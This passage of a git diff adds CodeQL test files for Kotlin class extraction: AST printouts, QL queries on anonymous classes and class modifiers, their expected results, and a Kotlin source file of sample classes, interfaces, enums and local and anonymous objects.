+#   11|               -3: [TypeAccess] Generic<String>
+#   11|                 0: [TypeAccess] String
+#   11|               0: [VarAccess] s
+#   13|     2: [Method] intIdentity
+#   13|       3: [TypeAccess] int
+#-----|       4: (Parameters)
+#   13|         0: [Parameter] i
+#   13|           0: [TypeAccess] int
+#   13|       5: [BlockStmt] { ... }
+#   13|         0: [ReturnStmt] return ...
+#   13|           0: [MethodAccess] get(...)
+#   13|             -1: [ClassInstanceExpr] new Generic<Integer>(...)
+#   13|               -3: [TypeAccess] Generic<Integer>
+#   13|                 0: [TypeAccess] Integer
+#   13|               0: [VarAccess] i
+#    1|   2: [Class,GenericType,ParameterizedType] Generic
+#-----|     -2: (Generic Parameters)
+#    1|       0: [TypeVariable] T
+#    1|     1: [Constructor] Generic
+#-----|       4: (Parameters)
+#    1|         0: [Parameter] t
+#    1|           0: [TypeAccess] T
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [SuperConstructorInvocationStmt] super(...)
+#    1|         1: [BlockStmt] { ... }
+#    1|           0: [ExprStmt] <Expr>;
+#    1|             0: [KtInitializerAssignExpr] ...=...
+#    1|               0: [VarAccess] t
+#    3|           1: [ExprStmt] <Expr>;
+#    3|             0: [KtInitializerAssignExpr] ...=...
+#    3|               0: [VarAccess] x
+#    1|     2: [Method] getT
+#    1|       3: [TypeAccess] T
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [ReturnStmt] return ...
+#    1|           0: [VarAccess] this.t
+#    1|             -1: [ThisAccess] this
+#    1|     2: [FieldDeclaration] T t;
+#    1|       -1: [TypeAccess] T
+#    1|       0: [VarAccess] t
+#    3|     4: [FieldDeclaration] new Object(...) { ... } x;
+#    3|       -1: [TypeAccess] new Object(...) { ... }
+#    3|         0: [TypeAccess] T
+#    3|       0: [StmtExpr] <Stmt>
+#    3|         0: [BlockStmt] { ... }
+#    3|           0: [LocalTypeDeclStmt] class ...
+#    3|             0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#    3|               1: [Constructor] 
+#    3|                 5: [BlockStmt] { ... }
+#    3|                   0: [SuperConstructorInvocationStmt] super(...)
+#    3|                   1: [BlockStmt] { ... }
+#    4|                     0: [ExprStmt] <Expr>;
+#    4|                       0: [KtInitializerAssignExpr] ...=...
+#    4|                         0: [VarAccess] member
+#    4|               2: [Method] getMember
+#    4|                 3: [TypeAccess] T
+#    4|                 5: [BlockStmt] { ... }
+#    4|                   0: [ReturnStmt] return ...
+#    4|                     0: [VarAccess] this.member
+#    4|                       -1: [ThisAccess] this
+#    4|               2: [FieldDeclaration] T member;
+#    4|                 -1: [TypeAccess] T
+#    4|                 0: [MethodAccess] getT(...)
+#    4|                   -1: [ThisAccess] Generic.this
+#    4|                     0: [TypeAccess] Generic
+#    3|           1: [ExprStmt] <Expr>;
+#    3|             0: [ClassInstanceExpr] new (...)
+#    3|               -3: [TypeAccess] Object
+#    3|     5: [Method] getX$private
+#    3|       3: [TypeAccess] new Object(...) { ... }
+#    3|         0: [TypeAccess] T
+#    3|       5: [BlockStmt] { ... }
+#    3|         0: [ReturnStmt] return ...
+#    3|           0: [VarAccess] this.x
+#    3|             -1: [ThisAccess] this
+#    7|     6: [Method] get
+#    7|       3: [TypeAccess] T
+#    7|       5: [BlockStmt] { ... }
+#    7|         0: [ReturnStmt] return ...
+#    7|           0: [MethodAccess] getMember(...)
+#    7|             -1: [MethodAccess] getX$private(...)
+#    7|               -1: [ThisAccess] this
+localClassField.kt:
+#    0| [CompilationUnit] localClassField
+#    1|   1: [Class] A
+#    1|     1: [Constructor] A
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [SuperConstructorInvocationStmt] super(...)
+#    1|         1: [BlockStmt] { ... }
+#    2|           0: [ExprStmt] <Expr>;
+#    2|             0: [KtInitializerAssignExpr] ...=...
+#    2|               0: [VarAccess] x
+#    7|           1: [ExprStmt] <Expr>;
+#    7|             0: [KtInitializerAssignExpr] ...=...
+#    7|               0: [VarAccess] y
+#    2|     2: [Method] getX
+#    2|       3: [TypeAccess] Object
+#    2|       5: [BlockStmt] { ... }
+#    2|         0: [ReturnStmt] return ...
+#    2|           0: [VarAccess] this.x
+#    2|             -1: [ThisAccess] this
+#    2|     2: [FieldDeclaration] Object x;
+#    2|       -1: [TypeAccess] Object
+#    2|       0: [WhenExpr] when ...
+#    2|         0: [WhenBranch] ... -> ...
+#    2|           0: [BooleanLiteral] true
+#    2|           1: [BlockStmt] { ... }
+#    3|             0: [LocalTypeDeclStmt] class ...
+#    3|               0: [LocalClass] L
+#    3|                 1: [Constructor] L
+#    3|                   5: [BlockStmt] { ... }
+#    3|                     0: [SuperConstructorInvocationStmt] super(...)
+#    3|                     1: [BlockStmt] { ... }
+#    4|             1: [ExprStmt] <Expr>;
+#    4|               0: [ClassInstanceExpr] new L(...)
+#    4|                 -3: [TypeAccess] L
+#    2|         1: [WhenBranch] ... -> ...
+#    2|           0: [BooleanLiteral] true
+#    5|           1: [BlockStmt] { ... }
+#    7|     4: [Method] getY
+#    7|       3: [TypeAccess] Object
+#    7|       5: [BlockStmt] { ... }
+#    7|         0: [ReturnStmt] return ...
+#    7|           0: [VarAccess] this.y
+#    7|             -1: [ThisAccess] this
+#    7|     4: [FieldDeclaration] Object y;
+#    7|       -1: [TypeAccess] Object
+#    7|       0: [WhenExpr] when ...
+#    7|         0: [WhenBranch] ... -> ...
+#    7|           0: [BooleanLiteral] true
+#    7|           1: [BlockStmt] { ... }
+#    8|             0: [LocalTypeDeclStmt] class ...
+#    8|               0: [LocalClass] L
+#    8|                 1: [Constructor] L
+#    8|                   5: [BlockStmt] { ... }
+#    8|                     0: [SuperConstructorInvocationStmt] super(...)
+#    8|                     1: [BlockStmt] { ... }
+#    9|             1: [ExprStmt] <Expr>;
+#    9|               0: [ClassInstanceExpr] new L(...)
+#    9|                 -3: [TypeAccess] L
+#    7|         1: [WhenBranch] ... -> ...
+#    7|           0: [BooleanLiteral] true
+#   10|           1: [BlockStmt] { ... }
+local_anonymous.kt:
+#    0| [CompilationUnit] local_anonymous
+#    3|   1: [Class] Class1
+#    3|     1: [Constructor] Class1
+#    3|       5: [BlockStmt] { ... }
+#    3|         0: [SuperConstructorInvocationStmt] super(...)
+#    3|         1: [BlockStmt] { ... }
+#    4|     2: [Method] fn1
+#    4|       3: [TypeAccess] Object
+#    4|       5: [BlockStmt] { ... }
+#    5|         0: [ReturnStmt] return ...
+#    5|           0: [StmtExpr] <Stmt>
+#    5|             0: [BlockStmt] { ... }
+#    5|               0: [LocalTypeDeclStmt] class ...
+#    5|                 0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#    5|                   1: [Constructor] 
+#    5|                     5: [BlockStmt] { ... }
+#    5|                       0: [SuperConstructorInvocationStmt] super(...)
+#    5|                       1: [BlockStmt] { ... }
+#    6|                   2: [Method] fn
+#    6|                     3: [TypeAccess] Unit
+#    6|                     5: [BlockStmt] { ... }
+#    5|               1: [ExprStmt] <Expr>;
+#    5|                 0: [ClassInstanceExpr] new (...)
+#    5|                   -3: [TypeAccess] Object
+#   10|     3: [Method] fn2
+#   10|       3: [TypeAccess] Unit
+#   10|       5: [BlockStmt] { ... }
+#   11|         0: [LocalTypeDeclStmt] class ...
+#   11|           0: [LocalClass] 
+#   11|             1: [Constructor] 
+#   11|               5: [BlockStmt] { ... }
+#   11|                 0: [SuperConstructorInvocationStmt] super(...)
+#   11|             1: [Method] fnLocal
+#   11|               3: [TypeAccess] Unit
+#   11|               5: [BlockStmt] { ... }
+#   12|         1: [ExprStmt] <Expr>;
+#   12|           0: [MethodAccess] fnLocal(...)
+#   12|             -1: [ClassInstanceExpr] new (...)
+#   12|               -3: [TypeAccess] Object
+#   15|     4: [Method] fn3
+#   15|       3: [TypeAccess] Unit
+#   15|       5: [BlockStmt] { ... }
+#   16|         0: [LocalVariableDeclStmt] var ...;
+#   16|           1: [LocalVariableDeclExpr] lambda1
+#   16|             0: [LambdaExpr] ...->...
+#   16|               -4: [AnonymousClass] new Function2<Integer,Integer,Integer>(...) { ... }
+#   16|                 1: [Constructor] 
+#   16|                   5: [BlockStmt] { ... }
+#   16|                     0: [SuperConstructorInvocationStmt] super(...)
+#   16|                 1: [Method] invoke
+#   16|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   16|                     0: [Parameter] a
+#   16|                       0: [TypeAccess] int
+#   16|                     1: [Parameter] b
+#   16|                       0: [TypeAccess] int
+#   16|                   5: [BlockStmt] { ... }
+#   16|                     0: [ReturnStmt] return ...
+#   16|                       0: [AddExpr] ... + ...
+#   16|                         0: [VarAccess] a
+#   16|                         1: [VarAccess] b
+#   16|               -3: [TypeAccess] Function2<Integer,Integer,Integer>
+#   16|                 0: [TypeAccess] Integer
+#   16|                 1: [TypeAccess] Integer
+#   16|                 2: [TypeAccess] Integer
+#   17|         1: [LocalVariableDeclStmt] var ...;
+#   17|           1: [LocalVariableDeclExpr] lambda2
+#   17|             0: [LambdaExpr] ...->...
+#   17|               -4: [AnonymousClass] new Function2<Integer,Integer,Integer>(...) { ... }
+#   17|                 1: [Constructor] 
+#   17|                   5: [BlockStmt] { ... }
+#   17|                     0: [SuperConstructorInvocationStmt] super(...)
+#   17|                 1: [Method] invoke
+#   17|                   3: [TypeAccess] int
+#-----|                   4: (Parameters)
+#   17|                     0: [Parameter] a
+#   17|                       0: [TypeAccess] int
+#   17|                     1: [Parameter] b
+#   17|                       0: [TypeAccess] int
+#   17|                   5: [BlockStmt] { ... }
+#   17|                     0: [ReturnStmt] return ...
+#   17|                       0: [AddExpr] ... + ...
+#   17|                         0: [VarAccess] a
+#   17|                         1: [VarAccess] b
+#   17|               -3: [TypeAccess] Function2<Integer,Integer,Integer>
+#   17|                 0: [TypeAccess] Integer
+#   17|                 1: [TypeAccess] Integer
+#   17|                 2: [TypeAccess] Integer
+#   20|     5: [Method] fn4
+#   20|       3: [TypeAccess] Unit
+#   20|       5: [BlockStmt] { ... }
+#   21|         0: [LocalVariableDeclStmt] var ...;
+#   21|           1: [LocalVariableDeclExpr] fnRef
+#   21|             0: [MemberRefExpr] ...::...
+#   21|               -4: [AnonymousClass] new Function1<Class1,Unit>(...) { ... }
+#   21|                 1: [Constructor] 
+#   21|                   5: [BlockStmt] { ... }
+#   21|                     0: [SuperConstructorInvocationStmt] super(...)
+#   21|                 1: [Method] invoke
+#-----|                   4: (Parameters)
+#   21|                     0: [Parameter] a0
+#   21|                   5: [BlockStmt] { ... }
+#   21|                     0: [ReturnStmt] return ...
+#   21|                       0: [MethodAccess] fn3(...)
+#   21|                         -1: [VarAccess] a0
+#   21|               -3: [TypeAccess] Function1<Class1,Unit>
+#   21|                 0: [TypeAccess] Class1
+#   21|                 1: [TypeAccess] Unit
+#   24|     6: [Method] fn5
+#   24|       3: [TypeAccess] Unit
+#   24|       5: [BlockStmt] { ... }
+#   25|         0: [LocalTypeDeclStmt] class ...
+#   25|           0: [LocalClass] LocalClass
+#   25|             1: [Constructor] LocalClass
+#   25|               5: [BlockStmt] { ... }
+#   25|                 0: [SuperConstructorInvocationStmt] super(...)
+#   25|                 1: [BlockStmt] { ... }
+#   26|         1: [ExprStmt] <Expr>;
+#   26|           0: [ImplicitCoercionToUnitExpr] <implicit coercion to unit>
+#   26|             0: [TypeAccess] Unit
+#   26|             1: [ClassInstanceExpr] new LocalClass(...)
+#   26|               -3: [TypeAccess] LocalClass
+#   29|     7: [Method] nullableAnonymous
+#   29|       3: [TypeAccess] Object
+#   29|       5: [BlockStmt] { ... }
+#   35|         0: [ReturnStmt] return ...
+#   29|           0: [StmtExpr] <Stmt>
+#   29|             0: [BlockStmt] { ... }
+#   29|               0: [LocalTypeDeclStmt] class ...
+#   29|                 0: [AnonymousClass,LocalClass] new Object(...) { ... }
+#   29|                   1: [Constructor] 
+#   29|                     5: [BlockStmt] { ... }
+#   29|                       0: [SuperConstructorInvocationStmt] super(...)
+#   29|                       1: [BlockStmt] { ... }
+#   30|                         0: [ExprStmt] <Expr>;
+#   30|                           0: [KtInitializerAssignExpr] ...=...
+#   30|                             0: [VarAccess] x
+#   30|                   2: [Method] getX
+#   30|                     3: [TypeAccess] int
+#   30|                     5: [BlockStmt] { ... }
+#   30|                       0: [ReturnStmt] return ...
+#   30|                         0: [VarAccess] this.x
+#   30|                           -1: [ThisAccess] this
+#   30|                   2: [Method] setX
+#   30|                     3: [TypeAccess] Unit
+#-----|                     4: (Parameters)
+#   30|                       0: [Parameter] <set-?>
+#   30|                         0: [TypeAccess] int
+#   30|                     5: [BlockStmt] { ... }
+#   30|                       0: [ExprStmt] <Expr>;
+#   30|                         0: [AssignExpr] ...=...
+#   30|                           0: [VarAccess] this.x
+#   30|                             -1: [ThisAccess] this
+#   30|                           1: [VarAccess] <set-?>
+#   30|                   2: [FieldDeclaration] int x;
+#   30|                     -1: [TypeAccess] int
+#   30|                     0: [IntegerLiteral] 1
+#   32|                   5: [Method] member
+#   32|                     3: [TypeAccess] Unit
+#   32|                     5: [BlockStmt] { ... }
+#   33|                       0: [LocalVariableDeclStmt] var ...;
+#   33|                         1: [LocalVariableDeclExpr] maybeThis
+#   33|                           0: [WhenExpr] when ...
+#   33|                             0: [WhenBranch] ... -> ...
+#   33|                               0: [ValueEQExpr] ... (value equals) ...
+#   33|                                 0: [MethodAccess] getX(...)
+#   33|                                   -1: [ThisAccess] this
+#   33|                                 1: [IntegerLiteral] 1
+#   33|                               1: [ExprStmt] <Expr>;
+#   33|                                 0: [ThisAccess] this
+#   33|                             1: [WhenBranch] ... -> ...
+#   33|                               0: [BooleanLiteral] true
+#   33|                               1: [ExprStmt] <Expr>;
+#   33|                                 0: [NullLiteral] null
+#   29|               1: [ExprStmt] <Expr>;
+#   29|                 0: [ClassInstanceExpr] new (...)
+#   29|                   -3: [TypeAccess] Object
+#   38|   2: [Interface] Interface2
+#   39|   3: [Class] Class2
+#   39|     1: [Constructor] Class2
+#   39|       5: [BlockStmt] { ... }
+#   39|         0: [SuperConstructorInvocationStmt] super(...)
+#   39|         1: [BlockStmt] { ... }
+#   40|           0: [ExprStmt] <Expr>;
+#   40|             0: [KtInitializerAssignExpr] ...=...
+#   40|               0: [VarAccess] i
+#   40|     2: [Method] getI
+#   40|       3: [TypeAccess] Interface2
+#   40|       5: [BlockStmt] { ... }
+#   40|         0: [ReturnStmt] return ...
+#   40|           0: [VarAccess] this.i
+#   40|             -1: [ThisAccess] this
+#   40|     2: [Method] setI
+#   40|       3: [TypeAccess] Unit
+#-----|       4: (Parameters)
+#   40|         0: [Parameter] <set-?>
+#   40|           0: [TypeAccess] Interface2
+#   40|       5: [BlockStmt] { ... }
+#   40|         0: [ExprStmt] <Expr>;
+#   40|           0: [AssignExpr] ...=...
+#   40|             0: [VarAccess] this.i
+#   40|               -1: [ThisAccess] this
+#   40|             1: [VarAccess] <set-?>
+#   40|     2: [FieldDeclaration] Interface2 i;
+#   40|       -1: [TypeAccess] Interface2
+#   40|       0: [StmtExpr] <Stmt>
+#   40|         0: [BlockStmt] { ... }
+#   40|           0: [LocalTypeDeclStmt] class ...
+#   40|             0: [AnonymousClass,LocalClass] new Interface2(...) { ... }
+#   40|               1: [Constructor] 
+#   40|                 5: [BlockStmt] { ... }
+#   40|                   0: [SuperConstructorInvocationStmt] super(...)
+#   40|                   1: [BlockStmt] { ... }
+#   42|                     0: [LocalVariableDeclStmt] var ...;
+#   42|                       1: [LocalVariableDeclExpr] answer
+#   42|                         0: [StringLiteral] 42
+#   40|           1: [ExprStmt] <Expr>;
+#   40|             0: [ClassInstanceExpr] new (...)
+#   40|               -3: [TypeAccess] Interface2
+superChain.kt:
+#    0| [CompilationUnit] superChain
+#    1|   1: [Class,GenericType,ParameterizedType] SuperChain1
+#-----|     -2: (Generic Parameters)
+#    1|       0: [TypeVariable] T1
+#    1|       1: [TypeVariable] T2
+#    1|     1: [Constructor] SuperChain1
+#    1|       5: [BlockStmt] { ... }
+#    1|         0: [SuperConstructorInvocationStmt] super(...)
+#    1|         1: [BlockStmt] { ... }
+#    2|   2: [Class,GenericType,ParameterizedType] SuperChain2
+#-----|     -2: (Generic Parameters)
+#    2|       0: [TypeVariable] T3
+#    2|       1: [TypeVariable] T4
+#    2|     1: [Constructor] SuperChain2
+#    2|       5: [BlockStmt] { ... }
+#    2|         0: [SuperConstructorInvocationStmt] super(...)
+#    2|         1: [BlockStmt] { ... }
+#    3|   3: [Class,GenericType,ParameterizedType] SuperChain3
+#-----|     -2: (Generic Parameters)
+#    3|       0: [TypeVariable] T5
+#    3|       1: [TypeVariable] T6
+#    3|     1: [Constructor] SuperChain3
+#    3|       5: [BlockStmt] { ... }
+#    3|         0: [SuperConstructorInvocationStmt] super(...)
+#    3|         1: [BlockStmt] { ... }
diff --git a/java/ql/test/kotlin/library-tests/classes/PrintAst.qlref b/java/ql/test/kotlin/library-tests/classes/PrintAst.qlref
new file mode 100644
index 00000000000..c7fd5faf239
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/PrintAst.qlref
@@ -0,0 +1 @@
+semmle/code/java/PrintAst.ql
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/classes/anonymousClasses.expected b/java/ql/test/kotlin/library-tests/classes/anonymousClasses.expected
new file mode 100644
index 00000000000..686eb8a9159
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/anonymousClasses.expected
@@ -0,0 +1,12 @@
+| classes.kt:66:20:66:54 | new Object(...) { ... } | classes.kt:66:20:66:54 | new (...) |  | classes.kt:66:20:66:54 | Object | classes.kt:66:20:66:54 | class ... |
+| classes.kt:68:20:68:74 | new Object(...) { ... } | classes.kt:68:20:68:74 | new (...) |  | classes.kt:68:20:68:74 | Object | classes.kt:68:20:68:74 | class ... |
+| classes.kt:72:16:77:10 | new Object(...) { ... } | classes.kt:72:16:77:10 | new (...) |  | classes.kt:72:16:77:10 | Object | classes.kt:72:16:77:10 | class ... |
+| classes.kt:75:24:75:33 | new Object(...) { ... } | classes.kt:75:24:75:33 | new (...) |  | classes.kt:75:24:75:33 | Object | classes.kt:75:24:75:33 | class ... |
+| classes.kt:81:16:81:38 | new Interface1(...) { ... } | classes.kt:81:16:81:38 | new (...) |  | classes.kt:81:16:81:38 | Interface1 | classes.kt:81:16:81:38 | class ... |
+| classes.kt:85:16:85:25 | new Object(...) { ... } | classes.kt:85:16:85:25 | new (...) |  | classes.kt:85:16:85:25 | Object | classes.kt:85:16:85:25 | class ... |
+| classes.kt:89:16:89:44 | new Interface3<Integer>(...) { ... } | classes.kt:89:16:89:44 | new (...) |  | classes.kt:89:16:89:44 | Interface3<Integer> | classes.kt:89:16:89:44 | class ... |
+| classes.kt:127:16:134:9 | new Object(...) { ... } | classes.kt:127:16:134:9 | new (...) |  | classes.kt:127:16:134:9 | Object | classes.kt:127:16:134:9 | class ... |
+| generic_anonymous.kt:3:19:5:3 | new Object(...) { ... } | generic_anonymous.kt:3:19:5:3 | new (...) |  | generic_anonymous.kt:3:19:5:3 | Object | generic_anonymous.kt:3:19:5:3 | class ... |
+| local_anonymous.kt:5:16:7:9 | new Object(...) { ... } | local_anonymous.kt:5:16:7:9 | new (...) |  | local_anonymous.kt:5:16:7:9 | Object | local_anonymous.kt:5:16:7:9 | class ... |
+| local_anonymous.kt:29:31:35:5 | new Object(...) { ... } | local_anonymous.kt:29:31:35:5 | new (...) |  | local_anonymous.kt:29:31:35:5 | Object | local_anonymous.kt:29:31:35:5 | class ... |
+| local_anonymous.kt:40:14:44:5 | new Interface2(...) { ... } | local_anonymous.kt:40:14:44:5 | new (...) |  | local_anonymous.kt:40:14:44:5 | Interface2 | local_anonymous.kt:40:14:44:5 | class ... |
diff --git a/java/ql/test/kotlin/library-tests/classes/anonymousClasses.ql b/java/ql/test/kotlin/library-tests/classes/anonymousClasses.ql
new file mode 100644
index 00000000000..f6e8e80f145
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/anonymousClasses.ql
@@ -0,0 +1,7 @@
+import java
+
+from AnonymousClass c, LocalTypeDeclStmt stmt
+where c.fromSource() and stmt.getLocalType() = c
+select c, c.getClassInstanceExpr(),
+  c.getClassInstanceExpr().getConstructor().getDeclaringType().getName(),
+  c.getClassInstanceExpr().getTypeName(), stmt
diff --git a/java/ql/test/kotlin/library-tests/classes/classes.expected b/java/ql/test/kotlin/library-tests/classes/classes.expected
new file mode 100644
index 00000000000..2e3fd5a4305
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/classes.expected
@@ -0,0 +1,55 @@
+| classes.kt:0:0:0:0 | ClassesKt | ClassesKt | final, public |
+| classes.kt:2:1:2:18 | ClassOne | ClassOne | final, public |
+| classes.kt:4:1:6:1 | ClassTwo | ClassTwo | final, public |
+| classes.kt:8:1:10:1 | ClassThree | ClassThree | abstract, public |
+| classes.kt:12:1:15:1 | ClassFour | ClassFour | public |
+| classes.kt:17:1:18:1 | ClassFive | ClassFive | final, public |
+| classes.kt:28:1:30:1 | ClassSix | ClassSix | final, public |
+| classes.kt:34:1:47:1 | ClassSeven | ClassSeven | final, public |
+| classes.kt:49:1:51:1 | Direction | Direction | final, public |
+| classes.kt:53:1:57:1 | Color | Color | final, public |
+| classes.kt:63:1:91:1 | Class1 | Class1 | final, public |
+| classes.kt:66:20:66:54 | new Object(...) { ... } | <anonymous class> | final, private |
+| classes.kt:68:20:68:74 | new Object(...) { ... } | <anonymous class> | final, private |
+| classes.kt:72:16:77:10 | new Object(...) { ... } | <anonymous class> | final, private |
+| classes.kt:75:24:75:33 | new Object(...) { ... } | <anonymous class> | final, private |
+| classes.kt:81:16:81:38 | new Interface1(...) { ... } | <anonymous class> | final, private |
+| classes.kt:85:16:85:25 | new Object(...) { ... } | <anonymous class> | final, private |
+| classes.kt:89:16:89:44 | new Interface3<Integer>(...) { ... } | <anonymous class> | final, private |
+| classes.kt:93:1:93:26 | pulicClass | pulicClass | final, public |
+| classes.kt:94:1:94:29 | privateClass | privateClass | final, private |
+| classes.kt:95:1:95:31 | internalClass | internalClass | final, internal |
+| classes.kt:96:1:96:34 | noExplicitVisibilityClass | noExplicitVisibilityClass | final, public |
+| classes.kt:98:1:104:1 | nestedClassVisibilities | nestedClassVisibilities | final, public |
+| classes.kt:99:5:99:36 | pulicNestedClass | nestedClassVisibilities$pulicNestedClass | final, public |
+| classes.kt:100:5:100:43 | protectedNestedClass | nestedClassVisibilities$protectedNestedClass | final, protected |
+| classes.kt:101:5:101:39 | privateNestedClass | nestedClassVisibilities$privateNestedClass | final, private |
+| classes.kt:102:5:102:41 | internalNestedClass | nestedClassVisibilities$internalNestedClass | final, internal |
+| classes.kt:103:5:103:44 | noExplicitVisibilityNestedClass | nestedClassVisibilities$noExplicitVisibilityNestedClass | final, public |
+| classes.kt:106:1:106:27 | sealedClass | sealedClass | public, sealed |
+| classes.kt:107:1:107:23 | openClass | openClass | public |
+| classes.kt:109:1:136:1 | C1 | C1 | final, public |
+| classes.kt:111:9:113:9 | Local1 | C1$Local1 | final, private |
+| classes.kt:118:9:123:9 |  | C1$ | final, private |
+| classes.kt:119:13:121:13 | Local2 | C1$Local2 | final, private |
+| classes.kt:127:16:134:9 | new Object(...) { ... } | <anonymous class> | final, private |
+| classes.kt:129:17:131:17 | Local3 | C1$$Local3 | final, private |
+| generic_anonymous.kt:0:0:0:0 | Generic_anonymousKt | Generic_anonymousKt | final, public |
+| generic_anonymous.kt:1:1:9:1 | Generic | Generic | final, private |
+| generic_anonymous.kt:3:19:5:3 | new Object(...) { ... } | <anonymous class> | final, private |
+| localClassField.kt:1:1:11:1 | A | A | final, public |
+| localClassField.kt:3:9:3:19 | L | A$L | final, private |
+| localClassField.kt:8:9:8:19 | L | A$L | final, private |
+| local_anonymous.kt:3:1:36:1 | Class1 | LocalAnonymous.Class1 | final, public |
+| local_anonymous.kt:5:16:7:9 | new Object(...) { ... } | <anonymous class> | final, private |
+| local_anonymous.kt:11:9:11:24 |  | Class1$ | final, private |
+| local_anonymous.kt:16:23:16:49 | new Function2<Integer,Integer,Integer>(...) { ... } | <anonymous class> | final, private |
+| local_anonymous.kt:17:23:17:49 | new Function2<Integer,Integer,Integer>(...) { ... } | <anonymous class> | final, private |
+| local_anonymous.kt:21:21:21:31 | new Function1<Class1,Unit>(...) { ... } | <anonymous class> | final, private |
+| local_anonymous.kt:25:9:25:27 | LocalClass | LocalAnonymous.Class1$LocalClass | final, private |
+| local_anonymous.kt:29:31:35:5 | new Object(...) { ... } | <anonymous class> | final, private |
+| local_anonymous.kt:39:1:45:1 | Class2 | LocalAnonymous.Class2 | final, public |
+| local_anonymous.kt:40:14:44:5 | new Interface2(...) { ... } | <anonymous class> | final, private |
+| superChain.kt:1:1:1:33 | SuperChain1 | SuperChain1 | public |
+| superChain.kt:2:1:2:60 | SuperChain2 | SuperChain2 | public |
+| superChain.kt:3:1:3:60 | SuperChain3 | SuperChain3 | public |
diff --git a/java/ql/test/kotlin/library-tests/classes/classes.kt b/java/ql/test/kotlin/library-tests/classes/classes.kt
new file mode 100644
index 00000000000..a5c73dbea75
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/classes.kt
@@ -0,0 +1,136 @@
+
+class ClassOne { }
+
+class ClassTwo (val arg: Int) {
+    val x: Int = 3
+}
+
+abstract class ClassThree {
+    abstract fun foo(arg: Int)
+}
+
+open class ClassFour: ClassThree() {
+    override fun foo(arg: Int) {
+    }
+}
+
+class ClassFive: ClassFour() {
+}
+
+interface IF1 {
+    fun funIF1() {}
+}
+
+interface IF2 {
+    fun funIF2() {}
+}
+
+class ClassSix(): ClassFour(), IF1, IF2 {
+    constructor(i: Int): this(){ }
+}
+
+fun f(s: String) {}
+
+class ClassSeven {
+    constructor(i: String) {
+        f(i)
+    }
+    init {
+        f("init1")
+    }
+
+    val x: Int = 3
+
+    init {
+        f("init2")
+    }
+}
+
+enum class Direction {
+    NORTH, SOUTH, WEST, EAST
+}
+
+enum class Color(val rgb: Int) {
+    RED(0xFF0000),
+    GREEN(0x00FF00),
+    BLUE(0x0000FF)
+}
+
+interface Interface1 {}
+interface Interface2 {}
+interface Interface3<T> {}
+
+class Class1 {
+    private fun getObject1(b: Boolean) : Any {
+        if (b)
+            return object : Interface1, Interface2 { }
+        else
+            return object : Interface1, Interface2, Interface3<String> { }
+    }
+
+    private fun getObject2() : Interface1 {
+        return object : Interface1, Interface2 {
+            val x = 1
+            fun foo(): Any {
+                return object { }
+            }
+         }
+    }
+
+    private fun getObject3() : Any {
+        return object : Interface1 { }
+    }
+
+    private fun getObject4() : Any {
+        return object { }
+    }
+
+    private fun getObject5() : Any {
+        return object : Interface3<Int?> { }
+    }
+}
+
+public class pulicClass {}
+private class privateClass {}
+internal class internalClass {}
+class noExplicitVisibilityClass {}
+
+class nestedClassVisibilities {
+    public class pulicNestedClass {}
+    protected class protectedNestedClass {}
+    private class privateNestedClass {}
+    internal class internalNestedClass {}
+    class noExplicitVisibilityNestedClass {}
+}
+
+sealed class sealedClass {}
+open class openClass {}
+
+class C1 {
+    fun fn1(p: Int) {
+        class Local1<T1> {
+            fun foo(p: Int) { }
+        }
+        Local1<Int>().foo(p)
+    }
+
+    fun fn2(p: Int) {
+        fun localFn() {
+            class Local2<T1> {
+                fun foo(p: Int) { }
+            }
+            Local2<Int>().foo(p)
+        }
+    }
+
+    fun fn3(p: Int): Any {
+        return object {
+            fun fn() {
+                class Local3<T1> {
+                    fun foo(p: Int) { }
+                }
+                Local3<Int>().foo(p)
+            }
+        }
+    }
+}
\ No newline at end of file
diff --git a/java/ql/test/kotlin/library-tests/classes/classes.ql b/java/ql/test/kotlin/library-tests/classes/classes.ql
new file mode 100644
index 00000000000..bc0da2244ae
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/classes.ql
@@ -0,0 +1,5 @@
+import java
+
+from Class c
+where c.fromSource()
+select c, c.getQualifiedName(), concat(string s | c.hasModifier(s) | s, ", ")
diff --git a/java/ql/test/kotlin/library-tests/classes/ctorCalls.expected b/java/ql/test/kotlin/library-tests/classes/ctorCalls.expected
new file mode 100644
index 00000000000..6567b235b6c
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/ctorCalls.expected
@@ -0,0 +1,54 @@
+thisCall
+| classes.kt:29:26:29:31 | this(...) |
+superCall
+| classes.kt:2:1:2:18 | super(...) |
+| classes.kt:4:1:6:1 | super(...) |
+| classes.kt:8:1:10:1 | super(...) |
+| classes.kt:12:23:12:34 | super(...) |
+| classes.kt:17:18:17:28 | super(...) |
+| classes.kt:28:19:28:29 | super(...) |
+| classes.kt:35:27:35:27 | super(...) |
+| classes.kt:63:1:91:1 | super(...) |
+| classes.kt:66:20:66:54 | super(...) |
+| classes.kt:68:20:68:74 | super(...) |
+| classes.kt:72:16:77:10 | super(...) |
+| classes.kt:75:24:75:33 | super(...) |
+| classes.kt:81:16:81:38 | super(...) |
+| classes.kt:85:16:85:25 | super(...) |
+| classes.kt:89:16:89:44 | super(...) |
+| classes.kt:93:1:93:26 | super(...) |
+| classes.kt:94:1:94:29 | super(...) |
+| classes.kt:95:1:95:31 | super(...) |
+| classes.kt:96:1:96:34 | super(...) |
+| classes.kt:98:1:104:1 | super(...) |
+| classes.kt:99:5:99:36 | super(...) |
+| classes.kt:100:5:100:43 | super(...) |
+| classes.kt:101:5:101:39 | super(...) |
+| classes.kt:102:5:102:41 | super(...) |
+| classes.kt:103:5:103:44 | super(...) |
+| classes.kt:106:1:106:27 | super(...) |
+| classes.kt:107:1:107:23 | super(...) |
+| classes.kt:109:1:136:1 | super(...) |
+| classes.kt:111:9:113:9 | super(...) |
+| classes.kt:118:9:123:9 | super(...) |
+| classes.kt:119:13:121:13 | super(...) |
+| classes.kt:127:16:134:9 | super(...) |
